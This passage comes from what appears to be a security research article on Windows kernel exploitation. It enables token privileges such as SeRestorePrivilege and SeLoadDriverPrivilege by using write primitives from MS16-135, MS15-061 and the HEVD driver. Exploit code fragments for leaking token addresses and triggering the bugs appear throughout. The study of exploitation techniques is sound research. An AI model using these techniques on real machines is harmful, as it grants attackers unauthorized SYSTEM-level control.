There are also pre-defined service accounts on every Windows machine that contain privileges that can be leveraged for EoP. These are “NT AUTHORITY\SERVICE”, “NT AUTHORITY\NETWORK SERVICE”, and “NT AUTHORITY\LOCAL SERVICE”. Each of these has slightly different privileges, some contain multiple exploitable privileges, however they all have access to the exploitable SeImpersonatePrivilege. If an attacker is somehow able to gain access to the system under the context of one of these limited local accounts, they can trivially elevate their privileges to “NT AUTHORITY\SYSTEM” using the techniques outlined above. --[ 4 - Kernel Exploit Development Case Studies We'll now detail several case studies that demonstrate how and why we may want to delegate privileged exploitation to userland. Note that our strategy applies towards elevation of privilege; it cannot, in its current state, be used remotely. ----[ 4.1 - MS16-135 MS16-135 is the bug that we first wrote an exploit for using this strategy, and proves to be a fantastic case study. Initially released by Google after identifying active exploitation in the wild [13], a trigger was quickly released and the race for weaponization began. One of the first public demonstrations of exploitability was by Enrique Nissim at Zero Nights 2016 [14], in which he used the bug to demonstrate PML4 randomization weaknesses. Several other proof of concepts followed in suit, most abusing the PML4 strategy, others using the pvscan0 technique. The bug can be triggered via SetWindowLongPtr with a specifically crafted window and index value. The result is a controlled OR operation: OR DWORD PTR[controlled], 4. The first step is identifying the address of _SEP_TOKEN_PRIVILEGES. This can be accomplished using the following: OpenProcessToken(OpenProcess(PROCESS_QUERY_INFORMATION, 1, GetParentProcessId()), TOKEN_QUERY | TOKEN_QUERY_SOURCE, ¤t_token); dwToken = (UINT)current_token & 0xffff; _TOKEN = GetHandleAddress(GetCurrentProcessId(), dwToken); startTokenOffset = (UINT)_TOKEN + 0x40; We first open a handle to our parent process token, then use a NtQuerySystemInformation wrapper function to fetch the actual address of the token. The structure we're after lies 0x40 bytes ahead. Note that the NtQuerySystemInformation leak only works from medium integrity processes on Windows 8.1+. In order to exploit this from a low integrity process, we will need to abuse a different leak [9]. With the token address, we now adjust the offset to the enabled bitmask and invoke: ULONG enabled_create_token = startTokenOffset + 0xa; SetWindowLongPtr(childWnd, GWLP_ID, (LONG)(enabled_create_token - 0x14)); Should we trigger this bug multiple times while shifting the offset, we can hit each byte in the Enabled bitmask. This enables the following privileges: 02 0x000000002 SeCreateTokenPrivilege Attributes - Enabled 10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled 18 0x000000012 SeRestorePrivilege Attributes - Enabled 23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled As we've seen, three of the four privileges enabled are trivially exploitable. Our proof of concept code opts to abuse the SeRestorePrivilege, and can be found in the project git repository [3]. Though many of the public exploits for this bug were written in such a way to demonstrate a technique, we find that the presented example highlights the simplicity and reliability of our strategy: it relies only on the external need to leak a token address from the kernel. Public proof of concepts are much more complicated and require a variety of primitive grooming and kernel dancing. ----[ 4.2 - MS15-061 This was another fantastic bug observed in the wild during the RussianDoll campaigns and was quickly reversed and weaponized within the community. Much like MS16-135, this is a partial write that allows for the decrement of a controlled address. The bug was a use after free in win32k, specifically yet another issue with usermode callbacks emanating from within win32k [15]. Our strategy here does not differ much from the example in 4.1: we identify our token address, groom the heap to obtain our arbitrary decrement, and trigger it a few times to cover the Enabled and Present bitmasks. This enables a whole host of different privileges, namely: 07 0x000000007 SeTcbPrivilege Attributes - Enabled 09 0x000000009 SeTakeOwnershipPrivilege Attributes - Enabled 10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled 17 0x000000011 SeBackupPrivilege Attributes - Enabled 18 0x000000012 SeRestorePrivilege Attributes - Enabled 14 privileges are enabled, in total; the immediately exploitable ones are shown above. A proof of concept is again provided in the project git repository [3]. Public samples use a variety of strategies; one of the first released by NCC uses an older technique from Pwn2Own 2013, in which shellcode is stashed in a tagWND structure and the bServerSideWindowProc bit is decremented until it wraps, meaning that the tagWND's window procedure will be executed without context switching. The shellcode used NULLs out winlogon's ACL and injects into the privileged process. Other samples use the more modern process token swapping strategy. The point here being that we do not need to execute any shellcode and we do not need to work to obtain any other primitives. ----[ 4.3 - HEVD HEVD, or the HacksysExtremeVulnerableDriver [16], is an intentionally vulnerable Windows driver that can be loaded into a system to learn and research various exploitation strategies and techniques. It additionally provides a simple way to demonstrate mitigation evasion strategies on modern, fully up-to-date systems without having to use 0days. We demonstrate our technique using the arbitrary write bug present in HEVD, triggerable with the 0x22200b control code. As mentioned, the “bug” is an intentional and controllable write-what-where primitive in the driver, distilled below for brevity: NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) { What = UserWriteWhatWhere->What; Where = UserWriteWhatWhere->Where; *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What); } There are several public demonstrations on exploiting this; most for Windows 7, several for Windows 10 build 1607. One from Cn33liz [17] demonstrates exploiting this via the GDI Reloaded technique presented at Ekoparty ‘16. The Reloaded strategy improves upon the original GDI pvscan strategy, including bypassing the GDI shared handle table KASLR fix introduced in v1607, by leaking kernel addresses via the global gSharedInfo table (an old, but clearly still viable leak). In v1703 (Creators Update), the table structure has been changed and the leaking addresses removed. So, clearly the GDI Reloaded technique still works, provided we can identify another KASLR leak; something tells us one will turn up. The last sample of note is from GradiusX, which demonstrates exploitation on a v1703 Windows 10 system. The sample uses the GDI rw primitive to leak the EPROCESS structure from the current process, which can then be used to leak the token address of the running process. Once the address has been leaked, it leaks a SYSTEM token address and overwrites, using the GDI primitive, its resident token with the SYSTEM token. Thus, the token swap. Using the GDI primitive to leak the EPROCESS structure (via _THREADINFO) allows it to bypass the need for a separate KASLR leak and should consequently work fine from low integrity processes. Our strategy here is pretty simple; there's no need to groom a heap, execute shellcode, or setup rw primitives. Due to changes to the _SEP_TOKEN_PRIVILEGES structure [4], we must issue two separate calls to DeviceIoControl; one to overwrite the Enabled mask and one to the Present mask. As with the previous examples, we fetch our token address and offsets: uToken = (USHORT)current_token & 0xffff; _TOKEN = GetHandleAddress(GetCurrentProcessId(), uToken); startTokenOffset = (ULONG)_TOKEN + 0x40; enabled_offset = (ULONG)_TOKEN + 0x48; We then setup our what/where primitives (using the PWRITE_WHAT_WHERE structure as defined by HEVD): pww = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE)); pww->What = (PULONG_PTR)what; pww->Where = (PULONG_PTR)startTokenOffset; Then simply trigger the driver via DeviceIoControl. We perform it a second time with the enabled_offset as the where. We now have elevated privileges enabled on the token. --[ 5 - Conclusions As Microsoft continues to iterate and improve upon baseline mitigation strategies on Windows, both in userland and in the kernel, attackers additionally continue to iterate. The ideas presented here may not be a breakthrough in offensive kernel exploitation, but we believe they provide a glimpse of where exploitation patterns are headed. Towards the logical, away from the kernel, in the land where applications and scripts and Office documents frolic with critical, privileged controls. We've demonstrated how trivial a write-whatever-where can be exploited in a safe, predictable, and stable way with only a haiku of information from the kernel. Attacking individual privileges seems to be a logical progression of existing trends: token swapping, DACL mangling, privileged file writes. Attackers more often than not are pursuing slices and not wholes; ability to read or write here, modify this or that file or key. Limiting the scope of privileged access increases the overall effectiveness and decreases exposure of an attack. Ideally, we can identify other such privileges to be abused, as they are as bountiful as they are opaque. The EPROCESS structure is ripe with flags and masks controlling various access gears within the kernel. We did not touch offensively on impersonation, split access tokens, threads, or other such facilities, but their primitive potential is all but guaranteed. The kernel boogeyman be damned. --[ 6 - Greetz Too many people. Everything is iterative, nothing is original. themson, bannedit, quitos, tiraniddo, aionescu, phrack, pastor laphroaig, shellster --[ 7 - References [0] https://blogs.technet.microsoft.com/mmpc/2017/01/13/hardening-windows-10-with-zero-day-exploit-mitigations/ [1] https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf [2] https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/ [3] https://github.com/hatRiot/token-priv [4] http://www.anti-reversing.com/2251/ [5] https://labs.nettitude.com/blog/analysing-the-null-securitydescriptor-kernel-exploitation-mitigation-in-the-latest-windows-10-v1607-build-14393/ [6] https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ [7] https://bugs.chromium.org/p/project-zero/issues/detail?id=872 [8] https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf [9] https://github.com/sam-b/windows_kernel_address_leaks [10] https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf [11] https://www.blackhat.com/docs/eu-16/materials/eu-16-Liang-Attacking-Windows-By-Windows.pdf [12] https://labs.bluefrostsecurity.de/publications/2016/01/07/exploiting-cve-2014-4113-on-windows-8.1/ [13] https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html [14] https://github.com/IOActive/I-know-where-your-page-lives/ [15] https://community.rapid7.com/community/metasploit/blog/2015/10/01/flipping-bits [16] https://github.com/hacksysteam/HackSysExtremeVulnerableDriver [17] https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteGDI [18] http://uninformed.org/index.cgi?v=8&a=5&p=2 [19] https://blogs.msdn.microsoft.com/winsdk/2015/08/28/logon-as-a-user-without-a-password/ [20] https://bugs.chromium.org/p/project-zero/issues/detail?id=325